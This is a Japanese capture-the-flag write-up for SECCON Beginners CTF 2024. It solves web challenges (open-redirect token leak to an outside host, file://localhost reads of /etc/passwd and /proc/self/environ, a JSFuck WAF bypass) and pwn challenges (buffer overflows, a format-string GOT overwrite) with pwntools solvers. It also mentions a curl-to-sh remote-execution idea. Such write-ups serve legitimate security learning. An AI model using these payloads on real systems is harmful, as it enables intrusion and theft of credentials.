waitUntil: "domcontentloaded",
timeout: 3000,
});
await page.waitForSelector("input[id=username]");
await page.type("input[id=username]", ADMIN_USERNAME);
await page.type("input[id=password]", ADMIN_PASSWORD);
await page.click("button[type=submit]");
await page.waitForTimeout(1000);
await page.close();
} catch (err) {
console.error("crawl", ID, err.message);
} finally {
await browser.close();
console.log("crawl", ID, "browser closed");
}
};
(async () => {
while (true) {
console.log(
"[*] waiting new query",
await connection.get("queued_count"),
await connection.get("proceeded_count")
);
const ID = uuidv4();
await connection
.blpop("query", 0)
.then((v) => {
const path = v[1];
console.log("crawl", ID, path);
return crawl(path, ID);
})
.then(() => {
console.log("crawl", ID, "finished");
return connection.incr("proceeded_count");
})
.catch((e) => {
console.log("crawl", ID, e);
});
}
})();
アクセスするパスはAPP_URLの下のパスとなるで、外部のサーバーには届かない。アクセスするとクローラーが持つADMINのusernameとpasswordでログインを実行する。基本的にはloginに対して行うものだ。
login.htmlでは、ログイン処理を実行したあとにページ遷移を行う処理が含まれている。
main.js(クライアント側)const loginWorker = new Worker('login.js');
function login() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
document.getElementById('username').value = '';
document.getElementById('password').value = '';
loginWorker.postMessage({ username, password });
}
loginWorker.onmessage = function(event) {
const { token, error } = event.data;
if (error) {
document.getElementById('errorContainer').innerText = error;
return;
}
if (token) {
const params = new URLSearchParams(window.location.search);
const next = params.get('next');
if (next) {
window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
} else {
window.location.href = `/?token=${token}`;
}
}
};
login?next=で指定したパスにジャンプするが、search文字列にtokenを与えているので、next=に外部のパスを指定すればtokenを取得することができる。
よって、login?next=https://example.example/といった形式でアクセスをさせれば?token=の先を取得可能。
自分のホストするサイトを使ってもいいし、例えばRequestBin.comなどが使える。
次に、flag.htmlではtokenを使用してflagの取得を判定するようになっている。
server.js抜粋app.get('/flag', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const decoded = jwt.verify(token, jwtSecret);
if (decoded.isAdmin) {
const flag = FLAG;
res.status(200).json({ flag });
} else {
res.status(403).json({ error: 'Access denied' });
}
} catch (error) {
res.status(401).json({ error: 'Invalid token' });
}
});
flag.js(クライアント側)document.addEventListener('DOMContentLoaded', async() => {
const token = new URLSearchParams(window.location.search).get('token');
if (!token) {
document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>";
return;
}
try {
const response = await fetch('/flag', {
headers: {
'Authorization': `Bearer ${token}`
}
});
const result = await response.json();
if (response.ok) {
document.getElementById('flagContainer').innerText = result.flag;
} else {
document.getElementById('flagContainer').innerText = result.error;
}
} catch (error) {
document.getElementById('flagContainer').innerText = 'Error fetching flag.';
}
});
flag.htmlでは、?token=のsearch文字列を与えると?token=で与えたtokenで認証を行ってパスすればflagを表示する。さきほど手に入れたtokenを使って、/flag.html?token=****にアクセスすればflagを取得できる。
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
SSRF? LFI? ひょっとしてRCE?
https://ssrforlfi.beginners.seccon.games
解けなかった問題。?url=でURLを指定すると、curlでページを取得して表示してくれる。app.pyの内容は以下の通り。
app.pyimport os
import re
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def ssrforlfi():
url = request.args.get("url")
if not url:
return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
if not re.match('^[a-z"()./:;<>@|]*$', url):
return "Invalid URL ;("
# SSRF & LFI protection
if url.startswith("http://") or url.startswith("https://"):
if "localhost" in url:
return "Detected SSRF ;("
elif url.startswith("file://"):
path = url[7:]
if os.path.exists(path) or ".." in path:
return "Detected LFI ;("
else:
# Block other schemes
return "Invalid Scheme ;("
try:
# RCE ?
proc = subprocess.run(
f"curl '{url}'",
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout ;("
if proc.returncode != 0:
return "Error ;("
return proc.stdout
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=4989)
flagは環境変数に入っている。
.envFLAG=ctf4b{*****REDACTED*****}
TZ=Asia/Tokyo
使用できる文字は「a-z " ( ) . / : ; < > @ |」。これ以外は含まれればInvalid URLでエラー。つまり127.0.0.1などは使えない。
使用できるプロトコルは「http://」「https://」「file://」の3つで、http/httpsのときはlocalhostが含まれればDetected SSRFでエラー。fileのときはURLの7文字目(file://以降)からをos.path.exists
でチェックして存在するか、パスに..
が含まれればDetected LFIでエラー。いずれにも該当しない場合はInvalid Schemeでエラー。
すべてパスするとf"curl '{url}'"
でcurlを実行する。
やったこととして、127.0.0.1を返すhttp://lvh.me/
を使用したが上手くいかなかった。
curlはシングルクォーテーションで囲まれていて、DEFCON 32 qualsでやったようなcurlでテキストを取得してパイプラインでCommandの実行もできなかった。例えばhttps://example.example/exec.txt|sh
。
というわけで作問者Writeupを読むと、os.path.exists(path)
で与える7文字目以降のパスと、curl
で与えるフルパスの評価の違いを利用する問題であった。
file://localhost/hoge
を与えると、os.path.exists("localhost/hoge")
を評価して当然存在しない。しかしcurl file://localhost/hoge
ではfile://hoge
と等価になるため内容を取得できる。
例えばhttps://ssrforlfi.beginners.seccon.games/?url=file://localhost/etc/passwd
で/etc/passwd
が取得できる。
環境変数は/proc/self/environ
に入っているので、https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ
でflagを含む環境変数を取得できる。
UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!
https://wooorker2.beginners.seccon.games
脆弱性報告bot
wooorkerの続編。基本構造は同じなので割愛して、違いだけ説明する。
login.htmlのログイン後のページ遷移の部分で、tokenが?tokenのsearch文字列からから#tokenのハッシュに変更されている。
main.js(クライアント側)const loginWorker = new Worker('login.js');
function login() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
document.getElementById('username').value = '';
document.getElementById('password').value = '';
loginWorker.postMessage({ username, password });
}
loginWorker.onmessage = function(event) {
const { token, error } = event.data;
if (error) {
document.getElementById('errorContainer').innerText = error;
return;
}
if (token) {
const params = new URLSearchParams(window.location.search);
const next = params.get('next');
if (next) {
window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
} else {
window.location.href = `/#token=${token}`;
}
}
};
#から先はサーバー側で取得できないため、これでページ遷移をさせてもサーバー側にtokenが残らない。しかしJavaScriptであれば取得できるため、JavaScriptをワンクッション挟んで?tokenに付け直して飛ばすページを作成すればいい。
次のコードを仕込んだHTMLを自分のホストするサーバーに設置して、再度?tokenでnextpageにジャンプさせる。
const token = location.hash.split("#")[1];
location.href = "nextpage?" + token;
これでtokenが取得できるので、全く同様にflag.html#token=***にアクセスしてflagを入手。
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
以下のコマンドを実行して、問題サーバのURLを取得してください。
nc flagalias.beginners.seccon.games 5000
実行するとhashcash -mb26 <RANDOM ID>とhashcash token:という表示が出ます。<RANDOM ID>の部分は毎回変わります。
hashcashコマンドを使用してhashcash -mb26 <RANDOM ID>を実行し、hashcash token:の部分に入力してください。すると、問題サーバのURLと認証情報が表示されます。
解けなかった問題。文字列を入力するとeval()でJavaScriptとして実行することができ、結果を取得できる。
main.tsimport * as flag from "./flag.ts";
function waf(key: string) {
// Wonderful WAF :)
const ngWords = [
"eval",
"Object",
"proto",
"require",
"Deno",
"flag",
"ctf4b",
"http",
];
for (const word of ngWords) {
if (key.includes(word)) {
return "'NG word detected'";
}
}
return key;
}
export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
const m: { [key: string]: string } = {
"wonderful flag": "fake{wonderful_fake_flag}",
"special flag": "fake{special_fake_flag}",
};
try {
// you can set the flag alias as the key
const key = await eval(waf(alias));
m[key] = flag.getFakeFlag();
return JSON.stringify(Object.entries(m), null, 2);
} catch (e) {
return e.toString();
}
}
const handler = async (request: Request): Promise<Response> => {
try {
const body = JSON.parse(await request.text());
const alias = body?.alias;
return new Response(await chall(alias), { status: 200 });
} catch (_) {
return new Response('{"error": "Internal Server Error"}', { status: 500 });
}
};
if(Deno.version.deno !== "1.42.0"){
console.log("Please use deno 1.42.0");
Deno.exit(1);
}
const port = Number(Deno.env.get("PORT")) || 3000;
Deno.serve({ port }, handler);
flag.tsexport function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() {
// **REDACTED**
return "**REDACTED**";
}
export function getFakeFlag() {
return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}";
}
入力した文字列はwaf関数によっていくつかの単語を禁止しているが、例えばJSFuck( https://jsfuck.com/ )を使うと簡単に回避できる。flag.tsの中身を上手くimportできずに終了した。
これを参考に、JSFuckによる難読化を前提としてasync,await,importを使ってペイロードを作成してみた。
flag.tsの関数名の流出は以下のコードできる。
(async function(){
let m = await import('./flag.ts');
return Object.keys(m);
})();
実行すると以下のJSONが返る。
[
[
"wonderful flag",
"fake{wonderful_fake_flag}"
],
[
"special flag",
"fake{special_fake_flag}"
],
[
"getFakeFlag,getRealFlag_yUC2BwCtXEkg",
"fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
]
]
flagの関数名がgetRealFlag_yUC2BwCtXEkgとわかったので、関数の中身を取得するコードを作成。
(async function(){
let m = await import('./flag.ts');
return m.getRealFlag_yUC2BwCtXEkg;
})();
実行結果。
[
[
"wonderful flag",
"fake{wonderful_fake_flag}"
],
[
"special flag",
"fake{special_fake_flag}"
],
[
"function getRealFlag_yUC2BwCtXEkg() {\n // Great! You found the flag!\n // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}\n return \"fake{The flag is commented one line above here!}\";\n}",
"fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
]
]
モダンなJavaScriptを使ってこなかったために最後の1,2時間では答えが出せなかった問題であった。
Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
極めてシンプルにBOFをするだけ。is_adminを0以外で上書きすればTrueになってflagを表示する。
src.c#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaa)7
ctf4b{0n_y0ur_m4rk}
ctf4b{0n_y0ur_m4rk}
スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
src.c#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
char buf[100];
FILE *f = fopen("./flag.txt", "r");
fgets(buf, 100, f);
puts(buf);
}
int main() {
char buf[10] = {0};
printf("input:");
read(0, buf, 0x20);
printf("Hello, %s\n", buf);
printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
BOFでスタック上のリターンアドレスをwin関数に書き換える。
0000000000401186 <win>:
401186: 55 push rbp
401187: 48 89 e5 mov rbp,rsp
40118a: 48 83 ec 70 sub rsp,0x70
40118e: 48 8d 05 6f 0e 00 00 lea rax,[rip+0xe6f] # 402004 <_IO_stdin_used+0x4>
401195: 48 89 c6 mov rsi,rax
401198: 48 8d 05 67 0e 00 00 lea rax,[rip+0xe67] # 402006 <_IO_stdin_used+0x6>
40119f: 48 89 c7 mov rdi,rax
4011a2: e8 e9 fe ff ff call 401090 <fopen@plt>
4011a7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4011ab: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
4011af: 48 8d 45 90 lea rax,[rbp-0x70]
4011b3: be 64 00 00 00 mov esi,0x64
4011b8: 48 89 c7 mov rdi,rax
4011bb: e8 b0 fe ff ff call 401070 <fgets@plt>
4011c0: 48 8d 45 90 lea rax,[rbp-0x70]
4011c4: 48 89 c7 mov rdi,rax
4011c7: e8 64 fe ff ff call 401030 <puts@plt>
4011cc: 90 nop
4011cd: c9 leave
4011ce: c3 ret
disassembleするとwin関数のアドレスは0x401186。適当に文字列を入れるとreturn toで上書きされた位置を教えてくれるので、それを確認したうえでソルバーを作成。
from pwn import *
io = remote('simpleoverwrite.beginners.seccon.games',9001)
io.recvuntil("input:")
payload = b"aaaaaaaaaaaaaaaaaa" + b"\x86\x11\x40\x00\x00\x00\x00\x00"
io.send(payload)
io.interactive()
$ python3 solve.py
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}
[*] Got EOF while reading in interactive
$
ctf4b{B3l13v3_4g41n}
Using a safe prime makes RSA secure, doesn't it?
次のPythonプログラムとその出力が与えられる。
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
nc pure-and-easy.beginners.seccon.games 9000
解けなかった問題。FSBでexit関数をGOT Overwriteする問題であることはわかったが、時間内にGOT Overwriteが決まらなかった。安定して刺せるようになりたいものだ。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x100] = {0};
printf("> ");
read(0, buf, 0xff);
printf(buf);
exit(0);
}
void win() {
char buf[0x50];
FILE *fp = fopen("./flag.txt", "r");
fgets(buf, 0x50, fp);
puts(buf);
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
$ checksec chall
[*] '/CTF/SECCONB2024/pure-and-easy/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
GOTのアドレスを確認。
$objdump -d -M intel ./chall | grep exit
00000000004010b0 <exit@plt>:
4010b0: ff 25 8a 2f 00 00 jmp QWORD PTR [rip+0x2f8a] # 404040 <exit@GLIBC_2.2.5>
40133c: e8 6f fd ff ff call 4010b0 <exit@plt>
GOTは0x404040。
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r--p /CTF/SECCONB2024/pure-and-easy/chall
0x00401000 0x00402000 r-xp /CTF/SECCONB2024/pure-and-easy/chall
0x00402000 0x00403000 r--p /CTF/SECCONB2024/pure-and-easy/chall
0x00403000 0x00404000 r--p /CTF/SECCONB2024/pure-and-easy/chall
0x00404000 0x00405000 rw-p /CTF/SECCONB2024/pure-and-easy/chall
0x00007ffff7c00000 0x00007ffff7c28000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7c28000 0x00007ffff7dbd000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7dbd000 0x00007ffff7e15000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e15000 0x00007ffff7e16000 ---p /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e16000 0x00007ffff7e1a000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e1a000 0x00007ffff7e1c000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e1c000 0x00007ffff7e29000 rw-p mapped
0x00007ffff7fa9000 0x00007ffff7fac000 rw-p mapped
0x00007ffff7fbb000 0x00007ffff7fbd000 rw-p mapped
0x00007ffff7fbd000 0x00007ffff7fc1000 r--p [vvar]
0x00007ffff7fc1000 0x00007ffff7fc3000 r-xp [vdso]
0x00007ffff7fc3000 0x00007ffff7fc5000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7fc5000 0x00007ffff7fef000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7fef000 0x00007ffff7ffa000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7ffb000 0x00007ffff7ffd000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]
0x404040はrw-pで書き込み権限あり。
winのアドレスは0x401341なので、exitのGOTの0x404040の値を0x401341に書き換えればいいことになる。
ここからFSBの書式を計算したりして作っていたが、時間内に上手く刺さるものが作れなかった。
競技終了後にwriteupを参照すると、pwntoolsにfmtstr_payloadというFSBのペイロードを自動作成してくれる機能があったようだ。これを使って組んでみた。
from pwn import *
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
io = remote('pure-and-easy.beginners.seccon.games',9000)
#io = process('chall')
io.recvuntil(b"> ")
exitGOT = 0x404040
win = 0x401341
payload = fmtstr_payload(offset=6, writes={exitGOT:win},write_size="short")
io.send(payload)
io.interactive()
こんなに簡単にできてしまうのか。実行するとflag「ctf4b{Y0u_R34lly_G0T_M3}」を取得できる。
Welcome to SECCON Beginners CTF 2024!
フラグはDiscordサーバのannouncementsチャンネルにて公開されています!
- https://discord.gg/6sKxFmaUyS
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}